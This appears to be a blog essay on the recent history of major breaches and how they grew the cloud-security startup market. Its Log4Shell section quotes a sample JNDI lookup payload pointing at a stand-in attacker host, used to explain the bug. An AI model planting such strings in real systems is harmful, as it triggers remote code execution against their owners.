On Security, Part 1

A brief history of major vulnerabilities in the past decade

Introduction

Earlier this month, Wiz, a cloud security startup, raised $300 million at a $10 billion valuation. Remarkably, Wiz is just three-years old. Security companies used to take decades to reach even $1 billion in valuation - these days, Wiz, Drata, and Snyk have reached billion dollar valuations in just 2 to 5 years. [0]

In a past life as a venture investor, I was taught to ask two questions when evaluating a company: “how big is the market” and “why now?”

Cybersecurity has always been a big market - $150 billion in 2021 and the category that Wiz focuses on, cloud security, was $41.81 billion in 2021.

Now for the more interesting question: “why now?”

There are plenty of signs that security, as an industry, is accelerating.

If we look at Gartner’s 2022 CIO survey, 66% CIOs indicate that cybersecurity is their top priority. [1] Or, looking at the annual US federal government cybersecurity budget, there’s a clear 10-15% year-over-year growth. [2] My favorite is the Y Combinator batch breakdown, there have been more security startups in YC in the past 5 batches than all the other batches combined.

It’s easy to see why. We’re in a broader trend of companies shifting online, employing more vendor software, and collecting more user data. These shifts lead to an increase in both the number of attack surfaces and the cost of breaches for companies. As a result, security is transforming from a cost center to a revenue driver.

The industry has gone from a sleepy backwater to where wars are waged, fortunes are made, and engineers are heroes.

A brief list of hacks

Hacks define the security industry.

When things are quiet, a company might start to wonder why they have a such a large security budget. But when a company is breached, they also wonder what their security budget was for. The sweet spot for most security teams is when a nasty vulnerability or breach makes its way into the news. [3]

So, before we dive into the security industry, let’s first look at the most newsworthy hacks of the past few years. [4]

April 2014 - Heartbleed

Some might argue that Heartbleed is the worst vulnerability found (at least in terms of its potential impact) since commercial traffic began to flow on the Internet.
- Joseph Steinberg, cybersecurity columnist at Forbes

In 2014, researchers found a flaw within OpenSSL, a software library that encrypts information between your computer and the website you visit.

OpenSSL has a heartbeat function, a way for computers to say “I’m here” when asked “are you there?” These heartbeats help a computer/server understand which secure connections to maintain and which to terminate.

Researchers found that they could manipulate a heartbeat request to extract data from a server. When sending the heartbeat request, an attacker could claim that they had sent a request with 65535 bytes when in reality the actual request (payload) was only a few bytes long. The server is then fooled into returning a response that’s 65535 bytes long: the original payload plus whatever is stored within the server’s memory at response time.

That’s pretty serious. At any given moment, the server’s memory could be storing usernames, passwords, encryption keys, and more. An attacker could send hundreds of malicious heartbeat requests and sort through the results to obtain valuable data.

The fallout of Heartbleed was felt for months afterwards. Akamai Technologies, AWS, Pinterest, GitHub, and even the Canada Revenue Agency scrambled to patch the hack. In a survey in April 2014, 60% of Americans had heard about the bug.

At Akamai Technologies, Guy Podjarny had a front-row seat to Heartbleed and the rise of what is now called “supply chain security”. 15 months later, he would leave Akamai to start Snyk - one of the first security startups focused on supply chain security. [5]

May 2017 - Equifax Data Breach

Fast-forward to 2017 and we saw yet another supply chain vulnerability. In March, the Department of Homeland Security alerted Equifax to a 10.0 CVSS Score (the maximum severity possible) vulnerability on Apache Struts, an open-source web framework.

Attackers could execute arbitrary commands on a vulnerable Apache Struts system with a Content-Type header containing a #cmd= string.

The Equifax security team sent Homeland Security’s alert to over 400 people. Yet, Equifax’s own internet-facing consumer dispute portal kept running a vulnerable version of Apache Struts.

Two months later, attackers were able to exploit the vulnerability and break into Equifax’s network, compromising the system for 76 days.

Arguably, Equifax was one of the first instances of a supply chain vulnerability with mainstream consequences. Equifax was lambasted in the media, and over 148 million Americans spent months attempting to re-secure their identities. [6]

The Equifax breach was emblematic of the precarious security position for most companies. Security teams need to monitor everything from access management to supply chain dependencies to general cyber-attacks. In the case of Equifax, all it took was a single-missed vulnerability for a devastating breach.

Snyk, was one of the main beneficiaries of the breach. As the leading authority on supply chain security, they wrote multiple blog posts and were mentioned in multiple reports on the Equifax hack. Riding this wave, Snyk raised a $7 million Series A six months later.

December 2020 - Solarwinds

Solarwinds describes itself as an IT management software and observability platform. In plain English, Solarwinds helps companies manage and secure their internal networks.

Despite unassuming beginnings in Oklahoma, Solarwinds is a key component in over 300,000 organizations, including US government agencies and Fortune 500 companies.

In September 2019, attackers breached Solarwinds’ internal systems through Solarwinds’ already-compromised Microsoft Office 365 account. Once inside, they targeted the Solarwinds Orion product, network management software.

Since Orion is routinely installed in critical parts of agency and company networks, Solarwinds had a rigorous code-signing system before pushing Orion software updates - code-signing keys were held with a hardware security module, and several users needed to approve before signing, with key usage recorded with tamper-evident logs.

Despite this, there was no coupling between the source code and the code signing system. Attackers employed a sophisticated malware, SUNSPOT, to monitor Orion code compilation. At the last possible second, SUNSPOT would swap out the correct Orion source files with a SUNBURST backdoor. Further, SUNSPOT prevented Orion builds from failing - ensuring that SUNBURST snuck in without anyone noticing.

In March 2020, the attackers executed their breach on Orion and waited as Solarwinds customers updated their system. A total of 18,000 Solarwinds customers installed an Orion update before the attackers acted on specific targets - Microsoft, Nvidia, The State Department, Department of Justice, NASA, and other government agencies. They tried to hijack Office 365 emails systems and other cloud assets.

The eventual fallout from this attack would lead to sanctions against Russia and rumors that the Biden administration would issue an executive order on cybersecurity.

The Solarwinds breach was a case where vendor software exposed a new attack surface and led to disastrous consequences. Solarwinds was the wake-up call for the security industry - supply chain security became the new theme for years to come.

Amid the chaos, the CTO of a new startup called Wiz, Ami Luttwak, wrote a detailed blog post about Solarwinds. Wiz’s core product, security for cloud infrastructure, was a natural prevention mechanism against the Solarwinds attackers’ main focus, cloud assets. [7]

May 2021 - Colonial Pipeline

In May 2021, Colonial Pipeline, an American oil pipeline system that controls nearly half the gasoline flowing across the East Coast, saw a ransomware cyberattack that shut down their network of pipelines for 6 days and pushed gasoline prices to their highest in 6 years. It was the largest cyberattack on an oil infrastructure target in US history.

On April 29th, attackers breached a legacy Virtual Private Network (VPN) system which lacked multifactor authentication. [8] The attackers were able to find the password from a batch of leaked passwords on the dark web and enter the network, both stealing 100 gigabytes of data and infecting the company’s billing infrastructure with ransomware.

On May 7th, Colonial Pipeline paid nearly $5 million-worth of BTC to the attackers. The next day, Colonial Pipeline released a public statement about the hack. On May 9th, the Department of Transportation’s FMCSA issued a regional emergency declaration for 17 states and Washington, D.C., to keep fuel supply lines open.

On May 12th, with the attackers paid off and the system secure, the pipelines reopened. Accelerated by the Colonial Pipeline attack, Biden issued Executive Order 14028, “Improving the Nation's Cybersecurity”, addressing the fuel shortage and providing guidance to private infrastructure companies on security.

November 2021 - Log4Shell

In November 2021, a new vulnerability was discovered within Log4j, a popular Java-based logging framework.

In just a couple of days, the security world was abuzz with alerts. Apache gave Log4Shell a CVSS severity rating of 10.0 (the highest possible). Wiz and EY estimated that Log4Shell impacted 93% of enterprise cloud environments. Ars Technica called it “arguably the most severe vulnerability ever” and Cybersecurity and Infrastructure Security Agency (CISA) Director Jen Easterly called it, “one of the most serious I’ve seen in my entire career, if not the most serious.”

Attackers simply needed to ensure that a server log data contained a malicious payload such as ${jndi:ldap://attacker[.]com/a}. The server would then make a request to attacker.com and allow the attacker to execute malicious code on the logging service.

What made Log4Shell such a big deal was the fact that while most enterprises were affected by it, security teams had no answer to questions such as “what are all the services using log4j?” That was bad - in the case of Equifax, all it took was one unpatched service for attackers to gain access.

As teams scrambled to find solutions that would showcase exposed services, Wiz rose to prominence. Their speed of implementation meant that companies could understand, diagnose, and patch Log4j vulnerabilities within two weeks. They were light-years faster than traditional cloud security software that would often take months or years to implement. [9]

September 2022 - Uber hack

Most breaches have attackers snooping around company systems, making off with some sensitive information, and occasionally launching a ransomware attack on the affected company. Every once in a while, we get the rare combination of large public attack breached by teenage hacker. In a case like that, well… you expect teenagers to do teenager things like sending a Slack message to the company announcing the hack.

Uber, like most technology companies, had full-time employees and external contractors. These external contractors are officially employed by agencies like Aerotek and Apex. These staffing arrangements allow companies to quickly recruit for positions like customer service or marketing (and also “lay off” these positions without additional consequences). The downside of staffing contractor is that the company naturally develops a culture that excludes contractors, especially in security best practices.

In this case, the attacker obtained a contractor’s password. Uber’s access management system required a two-factor authentication, which the attacker could not overcome. Over the next hour, the attacker sent repeated multifactor authentication login notifications to the target. Then, they contacted the target on WhatsApp and social engineered the target into approving the login.

Once in, the attacker made their way onto Uber’s VPN and found hard-coded admin credentials for Thycotic, a Privileged Access Management (PAM) solution. With that, they were able to obtain full admin access to Uber’s codebase and other Uber’s services.

On one hand, the Uber hack highlights the need for more sophisticated methods of MFA such as number matching or hardware security keys. On the other hand, the other lesson from the Uber hack is that everything is now an attack surface. Even seemingly sound access management policies can be bypassed with social engineering.

Better than any other example, this hack shows how Uber did everything right (minus their PAM login credentials) and still got breached. Security today has evolved to the point that minor human error can cascade into catastrophic consequences.

Security Drives Revenue

Taken together, these hacks represent the trend of growing attack surfaces and greater infrastructure complexity.

Traditionally, companies started to think about security when they were 100+ people and even then, security took a back seat to product and features. Today, companies are hiring Head of Security’s and getting compliance certifications at the seed and Series A stage.

In the past few years, multiple pieces of regulation focusing on security, data, and privacy have been put into effect. The one most people hear about is GDPR, EU’s data protection law. In the US, we’ve seen:

• Executive Order 13636 (Improving Critical Infrastructure Cybersecurity)

• Executive Order 13691 (Promoting Private Sector Cybersecurity Information Sharing)

• Executive Order 13800 (Strengthening the Cybersecurity of Federal Networks and Critical Infrastructure)

• Executive Order 14028 (Improving the Nation's Cybersecurity)

While most startups initially dismissed the increased regulation as something that applies to larger companies, the regulation has started a trickle-down effect. A public company that’s GDPR-compliant isn’t going to purchase a tool that jeopardizes their regulatory compliance.

In addition to regulation, the average cost of a data breach in 2022 is now at $9.44 million, up from $9.05 million in 2021 and $8.64 million in 2020. It’s now pricier than ever to be breached.

The added cost has led companies to focus more on security. In the process, they’ve discovered that, often times, the ratio of applications to engineers is greater than 1. [10]

Why? In a word, microservices.

Instead of building one giant monolith architecture, a company’s product is now made of hundreds to thousands of different services that each focus on a single function.

They’re all potential points of vulnerabilities (attack vectors) that attackers can exploit. Just a single service with a big enough vulnerability is enough to crash the whole system — just look at Equifax.

Beyond internal code, security teams often have to deal with external vulnerabilities as well. If an open-source package has a vulnerability and an unsuspecting engineer uses that package, then the vulnerability is now embedded in a company’s product.

As a result, companies have begun to place additional emphasis on the software that they procure. Instead of purchasing for functionality, they’ve added an additional security dimension. Selling to larger organizations now requires SOC-2 or ISO 27001 certifications as a proxy for security. [11]

All of this has led to security as a prerequisite for any 6-figure ACV deal. Given that enterprise B2B is one of the biggest markets out there, that means companies now need to hire security teams far earlier in their lifecycle. Otherwise, they’ll be blocked on larger contracts.

Security has transformed from a cost of doing business to part of how software companies earn new business.

This is part one of On Security, the second part will be on what Security is as an industry (cloud, endpoint, networking, identity, data, application, and compliance).

Special thanks to Rob from Edgebit for walking me through the intricacies of supply chain security.

Footnotes

[0] As part of our research into the cybersecurity space, we’ve written about the journey of defining security startups, including:

• Snyk: Shift-left Security

• Auth0: Product-led Security

• Drata: Viral Audits

• Wiz: Visible Vulnerabilities

[1] Interestingly, only 32% of CIOs have placed Artificial Intelligence as an area for increased investment. Looks like they’ll need to use ChatGPT more.

[2] The exception here is from 2020 to 2021 when the civilian cybersecurity budget dropped by ~10 billion. The best explanation I’ve found is that 2021 was a transition year from Trump to Biden. Either way, the 10-15% growth rate is roughly in-line with a 12.4% reported industry growth rate.

[3] Minus the companies that were breached and the engineers that have to stay up all night trying to patch legacy services.

[4] We’ll have a significant amount of recency bias here. Stuxnet could arguably be the most sophisticated attack ever invented. The Morris Worm has quite a bit of historical significance. The list goes on…

[5] The Snyk journey is one of the most incredible stories I’ve researched. Podjarny and McKay have built a $7.4 billion conglomerate.

[6] I was one such person. I eventually joined the Equifax class action lawsuit and got $14.02 from the settlement. Still unclaimed.

[7] The best way to describe Wiz is that they were in the right place, at the right time, with the right people. Their growth is simply a testament to having all three ingredients perfectly right.

[8] Ironically, Solarwinds’ products help solve this exact problem. Most companies run on internal networks that, if breached, can lead to serious consequences.

[9] For more details about Wiz’s story leveraging the Log4j incident, check out our piece on Wiz.

[10] Special thanks to Rob Szumski from EdgeBit for walking me through his learnings. If you’re looking to secure your software supply chain without drowning in vulnerability alerts, please check out EdgeBit.

[11] A common misconception about these security audits is that they “improve” a company’s security practices. In reality, they’re more for access-management - ensuring that the company has a consistent set of policies for resource access.

A company with a clean SOC-2 report might not be secure and a company without SOC-2 might be impenetrable. But as a whole, companies with SOC-2 reports are more secure than their counterparts without the report.